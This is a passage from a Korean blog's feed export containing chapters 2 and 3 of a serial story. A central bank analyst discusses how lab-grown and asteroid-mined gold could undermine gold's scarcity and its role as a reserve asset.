this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;523&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_08PM (1).png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2화 &amp;ndash; 그래프와 사람들&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엘리베이터 문이 열리자, 이번에는 금속 냄새 대신 사람 냄새가 밀려들었다.&lt;br /&gt;전화기를 붙들고 서성이는 직원들, 모니터 앞에 박혀 있는 애널리스트들, 복도 끝 회의실 앞에서 대기 중인 방문객들까지.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지하의 고요함은 한 층 위로 올라오는 순간 곧바로 소음으로 바뀌었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;민서 씨, 딱 맞춰 오셨네요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;복도에서 민서를 기다리고 있던 건, 자산운용국 팀장이었다.&lt;br /&gt;짧게 깎은 머리에 항상 정리된 넥타이, 표정은 친절하지만 눈빛은 숫자만 보는 사람 특유의 날카로움이 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;예, 방금 내려갔다가 올라오는 길입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;금고는 아직 잘 버티고 있죠?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장이 던진 농담 섞인 질문에, 민서는 잠시 말을 골랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;물리적으로는, 네. 아주 잘 버티고 있습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼 됐어요. 시장이야 뭐, 늘 요란하니까.&amp;rdquo;&lt;br /&gt;팀장이 손목시계를 한 번 보고는, 손짓으로 회의실 쪽을 가리켰다. &amp;ldquo;이쪽으로 가시죠. 오늘 리서치국에서 재미있는 자료가 하나 올라와서요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안에는 이미 여러 부서 사람들이 자리잡고 있었다.&lt;br /&gt;국제국 담당자, 리스크 관리팀, 통화정책국 분석관 몇 명, 그리고 민서와 같은 자산운용국 애널리스트들까지.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책상 위에는 종이로 출력된 그래프와 요약 보고서가 나란히 놓여 있었다.&lt;br /&gt;보고서 표지에는 커다랗게 &amp;ldquo;내부 검토용 &amp;ndash; 외부 반출 금지&amp;rdquo;라는 문구가 찍혀 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리서치국에서 나온 발표자가 앞쪽으로 나와, 슬라이드를 띄웠다.&lt;br /&gt;스크린에는 지하에서 봤던 것과 거의 같은 그래프가 크게 확대되어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;간단히 말씀드리면, 민간 연구기관 A사에서 발표한 랩그로운 금 파일럿 플랜트 결과를 분석한 내용입니다.&lt;br /&gt;핵심은 여기, 두 개의 곡선입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;발표자는 레이저 포인터로 그래프를 가리켰다.&lt;br /&gt;빨간 선이 전통 금광 채굴 평균 비용, 파란 선이 랩그로운 금 공정 비용 추정치였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;보시다시피, 현재 시점에서는 여전히 전통 광산 쪽이 비용 면에서 유리합니다.&lt;br /&gt;하지만 A사의 공정 효율 개선 계획이 일정대로 진행될 경우, 보수적으로 잡아도 15년에서 20년 사이에 두 곡선이 교차할 수 있다는 시나리오가 나옵니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안에 잠시 정적이 흘렀다.&lt;br /&gt;누군가 종이를 넘기는 소리와, 펜을 두드리는 소리만 들렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국제국 담당자가 그래프를 보다가, 무심코 한숨을 내쉬었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;2008년 생각나네요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 몇몇이 고개를 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그때 증시 박살 나고, 은행들 쓰러지던 시기요. 그때도 다들 &amp;lsquo;이번엔 시스템이 진짜로 끝나는 거 아니냐&amp;rsquo;고 했었죠.&amp;rdquo;&lt;br /&gt;그가 말을 이었다. &amp;ldquo;근데 유일하게 올라가던 게 금이었잖아요. 통화도, 채권도, 부동산도 못 믿겠을 때 사람들이 마지막으로 쥐고 있던 게 이거였는데&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 탁자 위 보고서에 인쇄된 금괴 사진을 한 번 내려다봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이제 그 금도, &amp;lsquo;공장에서 찍어낼 수 있다&amp;rsquo;고 생각하면&amp;hellip; 솔직히 좀 무섭습니다.&lt;br /&gt;마지막 피난처를 누가 마음만 먹으면 늘릴 수 있는 거잖아요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 그 말을 조용히 듣고 있었다.&lt;br /&gt;그 역시 붉은 그래프와 함께 올라가던 금 시세 차트를 TV로 본 세대였다.&lt;br /&gt;집집마다 &amp;ldquo;금이라도 조금 사둘까&amp;rdquo;라는 대사가 오가던 시절의 공기를 기억하고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 랩그로운 금의 생산단가 곡선은,&lt;br /&gt;단지 공급과잉의 그래프가 아니라,&lt;br /&gt;사람들이 마음속에 만들어 두었던 방공호 벽이 얇아지는 그래프로도 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장이 먼저 입을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;기술적 가정은 충분히 보수적으로 잡으신 거죠? 민간 스타트업 발표를 그대로 가져온 건 아닐 테고.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;물론입니다.&amp;rdquo;&lt;br /&gt;리서치국 발표자가 고개를 끄덕였다. &amp;ldquo;에너지 단가, 설비 감가상각, 환경 규제 비용까지 포함해서, 그들이 제시한 수치보다 20~30% 정도는 더 보수적으로 반영했습니다. 그럼에도 불구하고, 곡선의 방향성 자체는 바뀌지 않습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국제국 쪽 담당자가 손을 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;합성 다이아몬드 때도 비슷한 이야기가 있었지만, 실제로는 브랜드가 &amp;lsquo;천연&amp;rsquo;과 &amp;lsquo;합성&amp;rsquo;을 잘 구분해 수요를 나눴습니다. 금도 그렇게 가지 않을까요? 준비자산용 천연 금과, 산업용/장식용 랩그로운 금으로.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;가능한 시나리오입니다.&amp;rdquo;&lt;br /&gt;발표자는 슬라이드를 넘겼다. &amp;ldquo;그래서 이번 보고서는 세 가지 케이스를 나눠 분석했습니다.&lt;br /&gt;A: 천연 금만 준비자산으로 유지하는 경우,&lt;br /&gt;B: 랩그로운 금을 일부 비율로 편입하는 경우,&lt;br /&gt;C: 금 비중 자체를 줄이고 다른 실물자산 또는 디지털 자산으로 대체하는 경우.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 슬쩍 자료를 내려다보았다.&lt;br /&gt;각 케이스 옆에는 통화 안정성, 대외 신뢰도, 유동성, 정치적 부담 같은 항목들이 점수로 매겨져 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장이 갑작스럽게 민서를 향했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;민서 씨 의견은 어떻습니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 시선이 동시에 그를 향했다.&lt;br /&gt;민서는 순간 숨을 고르고, 입을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;경제학적으로만 보면, 결국 문제는 &amp;lsquo;구분 가능성&amp;rsquo;이라고 생각합니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;구분 가능성이라면?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;네. 금속 자체의 물리&amp;middot;화학적 속성으로 천연과 랩그로운을 구분할 수 없다면,&lt;br /&gt;우리가 둘 사이를 다르게 취급하는 건 기술 문제가 아니라 &lt;b&gt;정치적&amp;middot;사회적 합의&lt;/b&gt;의 문제입니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 손가락으로 보고서의 한 구석을 톡 건드렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;지금 보고서에서도 언급됐듯이, 랩그로운 금은 아직까지 전체 공급량에서 차지하는 비중이 미미합니다.&lt;br /&gt;하지만 단지 &amp;lsquo;생산 가능하다&amp;rsquo;는 사실만으로도, 시장은 미래의 희소성을 다시 계산하기 시작합니다.&lt;br /&gt;그렇다고 우리가 지금 당장 천연 금을 버릴 수도 없고요. 준비자산의 상징성이라는 게 있으니까요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀장이 고개를 끄덕였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그러면 민서 씨 개인적인 의견은? A, B, C 중에 하나만 고르라면.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안의 시선이 다시 모였다.&lt;br /&gt;민서는 잠시 생각한 뒤, 솔직하게 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;단기적으로는 A와 B 사이에서, 장기적으로는 B와 C 사이에서 움직이게 될 거라고 봅니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그게 무슨 말이죠?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;지금 당장 B나 C를 선택하면,&lt;br /&gt;&amp;lsquo;우리 스스로 금을 부정한다&amp;rsquo;는 신호를 시장에 줄 수 있습니다.&lt;br /&gt;그건 금값을 떠나서, 자국 통화와 정책에 대한 신뢰 문제로 번질 수 있고요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그는 숨을 한번 고르고 말을 이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;하지만 랩그로운 금 생산이 실제로 시작되고, 공급이 매년 꾸준히 늘어나는 게 확인되면,&lt;br /&gt;금의 희소성에 대한 &amp;lsquo;기대&amp;rsquo;가 무너지면서 준비자산으로서의 위상도 자연스럽게 바뀔 겁니다.&lt;br /&gt;그때는 B, 즉 일부 편입과, C, 다른 자산으로의 분산이 같이 갈 수밖에 없다고 봅니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;국제국 담당자가 끼어들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그 &amp;lsquo;다른 자산&amp;rsquo;에는 뭐가 들어가나요?&lt;br /&gt;달러? 위안? SDR? 아니면 요즘 유행하는 디지털 통화나 토큰류?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 어깨를 살짝 올렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그건&amp;hellip; 제 소관은 아니죠.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 안에 가벼운 웃음이 돌았다.&lt;br /&gt;팀장은 그 틈을 타 다시 발표자에게 질문을 돌렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;우선은, 오늘 자료는 참고 수준으로 알고 있겠습니다.&lt;br /&gt;공식 입장을 정하려면, 정치적인 레벨에서의 판단도 필요하니까요.&lt;br /&gt;다만, 내부적으로는 랩그로운 금과 관련된 시장 동향을 정기적으로 모니터링하는 체계를 만들어야겠네요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의는 그렇게 큰 결론 없이 일단락되는 듯했다.&lt;br /&gt;보고서가 회수되고, 사람들은 자리에서 일어나며 각자의 일정으로 흩어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서도 서류를 정리해 들고 일어서려다가, 책상 위에 떨어진 한 장의 종이에 눈길이 갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이건 뭐지&amp;hellip;&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누군가 출력했다가 흘린 듯한, 짧은 메모였다.&lt;br /&gt;상단에는 굵은 글씨로 이렇게 적혀 있었다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&amp;ldquo;What happens when gold is no longer scarce?&amp;rdquo;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 아래에는 서너 줄의 메모가 더 있었다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;금 = 희소성 + 역사 + 상징성&lt;/li&gt;
&lt;li&gt;랩그로운 금 = 희소성 약화, 역사 단축, 상징성 분열&lt;/li&gt;
&lt;li&gt;우주 금(소행성) = 희소성 붕괴 가능성, 하지만 새로운 서사의 등장&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 종이를 한 번 더 읽어보고, 조용히 접어 주머니 안에 넣었다.&lt;br /&gt;누군가의 사적인 정리일 뿐이었지만, 이상하게 마음에 남는 문장이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회의실 밖으로 나오자, 복도는 여전히 분주했다.&lt;br /&gt;어딘가에서는 웃음소리가 터졌고, 다른 어딘가에서는 낮은 목소리로 환율 얘기가 오갔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;폰 화면이 진동과 함께 켜졌다.&lt;br /&gt;메신저 알림 하나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;진우: &amp;ldquo;오늘 저녁에 시간 되냐? 도시락 대신 커피 한 잔 사 줄게. 금 얘기도 좀 해야지.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 화면을 한동안 바라보다가, 짧게 답장을 보냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;민서: &amp;ldquo;지금 막 금고에서 올라왔는데, 금 얘기 말고 할 얘기가 있을까?&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;진우: &amp;ldquo;그럼 금 얘기부터 하지 뭐. 7시에 예전 학교 앞 카페 기억나? 거기서 보자.&amp;rdquo;&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;400&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PRmeC/dJMcacWy15r/jcO0uhqVTkV2vdSzw529zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PRmeC/dJMcacWy15r/jcO0uhqVTkV2vdSzw529zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PRmeC/dJMcacWy15r/jcO0uhqVTkV2vdSzw529zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPRmeC%2FdJMcacWy15r%2FjcO0uhqVTkV2vdSzw529zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;523&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;400&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;i&gt;다음 글 : &lt;a href=&quot;https://thepin.tistory.com/220&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/220&lt;/a&gt;&lt;/i&gt;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>경제에세이</category>
      <category>경제회의</category>
      <category>금과심리</category>
      <category>금시세</category>
      <category>금융위기기억</category>
      <category>정책딜레마</category>
      <category>준비자산</category>
      <category>통화정책</category>
      <category>합성금보고서</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/221</guid>
      <comments>https://thepin.tistory.com/221#entry221comment</comments>
      <pubDate>Sun, 8 Mar 2026 18:22:55 +0900</pubDate>
    </item>
    <item>
      <title>3화  카페의 대화 . 연금술 이후의 금 .N003</title>
      <link>https://thepin.tistory.com/220</link>
      <description>&lt;p data-ke-size=&quot;size14&quot;&gt;이전 글 : &lt;a href=&quot;https://thepin.tistory.com/221&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/221&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_08PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sNvoM/dJMcadumj73/bEFsxFEKKpKP6B4k19q1Z0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sNvoM/dJMcadumj73/bEFsxFEKKpKP6B4k19q1Z0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sNvoM/dJMcadumj73/bEFsxFEKKpKP6B4k19q1Z0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsNvoM%2FdJMcadumj73%2FbEFsxFEKKpKP6B4k19q1Z0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;623&quot; height=&quot;623&quot; data-filename=&quot;Generated Image March 08, 2026 - 6_08PM.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;연금술 이후의 금 3화 &amp;ndash; 카페의 대화&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;카페 창밖으로는 퇴근 시간대 버스들이 천천히 흘렀고, 손에 든 폰 화면에는 여전히 금 선물 시세 차트가 들쭉날쭉 뛰고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래도, 진짜로 이 정도일 줄은 몰랐는데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그때 맞은편 의자가 끌리는 소리가 났다.&lt;br /&gt;민서가 고개를 들기도 전에, 익숙한 목소리가 먼저 말을 걸었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 중앙은행 애널리스트 양반이 이런 시간에 카페에서 캔들차트나 보고 있어도 되는 거야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;&amp;hellip;&amp;hellip;진우?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 눈을 깜빡였다.&lt;br /&gt;소행성 채굴 사진이 SNS 피드를 장식하던, 그 우주공학과 동기 얼굴이 그대로였다. 다만 예전에 비해 눈 밑 그늘이 조금 더 짙어졌을 뿐.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;오랜만이다. 자리 비었길래 그냥 앉았어. 나 기억은 하지?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;기억 안 나면 내가 문제지. 우주에서 돌 캐던 사람 아니야, 지금은?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;캐긴 뭘 캐. 이제는 &amp;lsquo;우주에서 쓸 자원 인프라 기업&amp;rsquo;이래.&amp;rdquo;&lt;br /&gt;진우가 어깨를 으쓱였다. &amp;ldquo;투자자들 앞에서는 &amp;lsquo;금&amp;rsquo;이란 말도 조심해서 꺼내야 돼.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 피식 웃다가, 다시 화면을 내려다봤다. 차트의 붉은 봉과 초록 봉이 뒤엉켜 있는 그래프가 마치 할 말을 잃은 심전도처럼 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래프가&amp;hellip; 많이 아프네.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그래프가 아픈 거야, 사람들이 아픈 거야?&amp;rdquo;&lt;br /&gt;진우가 물컵을 들어 올리며 물었다. &amp;ldquo;그래서, 너희 쪽은 어때? 중앙은행 지하 금고는 아직 멀쩡해?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;물리적으로는 멀쩡하지. 금괴야 갑자기 녹아 없어지진 않으니까.&amp;rdquo;&lt;br /&gt;민서는 쓴웃음을 지었다. &amp;ldquo;다만, 그 위에 올라타 있던 신뢰 같은 건&amp;hellip; 조금씩 녹고 있는 것 같긴 해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;랩그로운 골드 때문이야? 아니면 우리 같은 우주 광부들 때문이야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;둘 다지, 뭐.&amp;rdquo;&lt;br /&gt;민서는 폰을 잠시 뒤집어 내려놓았다. &amp;ldquo;오늘 낮에 내부 보고서 하나 받았거든. 아직 공식 발표 전이라 밖에는 안 나갔을 텐데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;또 무슨 무서운 그래프냐.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;합성 금 생산 단가 곡선. 그리고 전통 광산 채굴 단가 곡선.&amp;rdquo;&lt;br /&gt;민서는 손가락 두 개로 공중에서 서로 만나는 선을 그려 보였다. &amp;ldquo;드디어, 교차점이 보이더라.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우가 잠시 웃음기를 거두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;진짜야? 기사에서 떠드는 &amp;lsquo;환경친화적 랩그로운 골드&amp;rsquo; 그쪽?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;응. 발표에 나온 건 훨씬 순한 버전일 거고, 내부 자료 기준으론 &amp;lsquo;연간 수천 킬로그램&amp;rsquo; 이야기가 슬슬 나와.&amp;rdquo;&lt;br /&gt;민서는 목소리를 조금 낮췄다. &amp;ldquo;물론 여전히 싼 건 아니야. 그런데, 문제는 &amp;lsquo;이제는 이론적으로 가능하다&amp;rsquo;는 걸 시장이 알아버렸다는 거지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;희소성이 깨지는 순간?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;희소성의 &amp;lsquo;미래 기대&amp;rsquo;가 깨지는 순간.&amp;rdquo;&lt;br /&gt;민서는 정정하듯 말했다. &amp;ldquo;사람들은 지금도 금을 사지만, 마음 한구석에서 계산을 다시 하기 시작하는 거야. &amp;lsquo;혹시 이게, 마지막 골든 에이지가 아닐까&amp;rsquo; 이런 식으로.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;진우는 잠깐 창밖을 봤다.&lt;br /&gt;버스 정류장 광고판 위로, 자신이 다니는 회사의 로고가 지나갔다. &amp;ldquo;우주에서 가장 안전한 투자, 소행성 자원&amp;rdquo;이라는 문구가 함께 떠 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;웃긴 게 뭔지 알아?&amp;rdquo;&lt;br /&gt;그가 다시 고개를 돌렸다. &amp;ldquo;우리는 그 반대 그림을 그리고 있었거든. &amp;lsquo;우리&amp;rsquo; 때문에 금이 흔해질 수도 있다는 상상.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;소행성 하나만 제대로 캐면, 지구 역사상 채굴량 전부 합친 것보다 많을 수 있다&amp;hellip; 그거?&amp;rdquo;&lt;br /&gt;민서가 되물었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;대충 그런 밈들 있잖아.&amp;rdquo;&lt;br /&gt;진우가 고개를 끄덕였다. &amp;ldquo;근데 정작 우리가 첫 샘플 조금 가져오는 동안, 지구에서는 실험실에서 금을 찍어내는 방법을 먼저 찾아버리는 거지. 우주공학자 입장에선 좀 기분이 묘해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;지구에서 만든 금 vs 우주에서 가져온 금.&amp;rdquo;&lt;br /&gt;민서는 그 말을 되뇌었다. &amp;ldquo;경제학자 입장에선 둘 다 숫자일 뿐이지만, 사람들 머릿속에서는 이야기가 다르겠지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;중앙은행은 뭐래? 랩그로운 금을 준비자산으로 인정할 거야, 말 거야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;공식 입장은 아직 같지. &amp;lsquo;우리는 시장을 주의 깊게 지켜보고 있으며, 금은 여전히 중요한 준비자산이다.&amp;rsquo;&amp;rdquo;&lt;br /&gt;민서는 말끝을 흉내 내며, 일부러 관료적인 톤을 냈다. &amp;ldquo;비공식적으로는&amp;hellip; 의견이 갈려. 천연 금만 지키자는 쪽, 랩그로운 금도 섞어서 받자는 쪽, 아예 금 비중 줄이고 다른 실물자산이나 디지털 자산 늘리자는 쪽.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;너는?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민서는 잠시 대답을 못 했다. 대신 종이컵 뚜껑을 만지작거리다가, 천천히 입을 열었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;솔직히 말하면, 금이 좋았거든. &amp;lsquo;인류가 몇 천 년 동안 믿어온 물건&amp;rsquo;이라는 사실 자체가 주는 안정감이 있었어. 데이터나 토큰은 역사가 짧잖아.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;근데 이제 그 금도, 실험실에서 6개월짜리 역사로 만들어진다는 거지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그러니까.&amp;rdquo;&lt;br /&gt;민서는 웃었다. &amp;ldquo;역사가 길다는 게 강점이었는데, 갑자기 &amp;lsquo;제조일자 2041년 5월 3일&amp;rsquo; 이런 금괴가 시장에 들어오기 시작하면, 좀&amp;hellip; 감성이 깨지지 않아?&amp;rdquo;&lt;/p&gt;
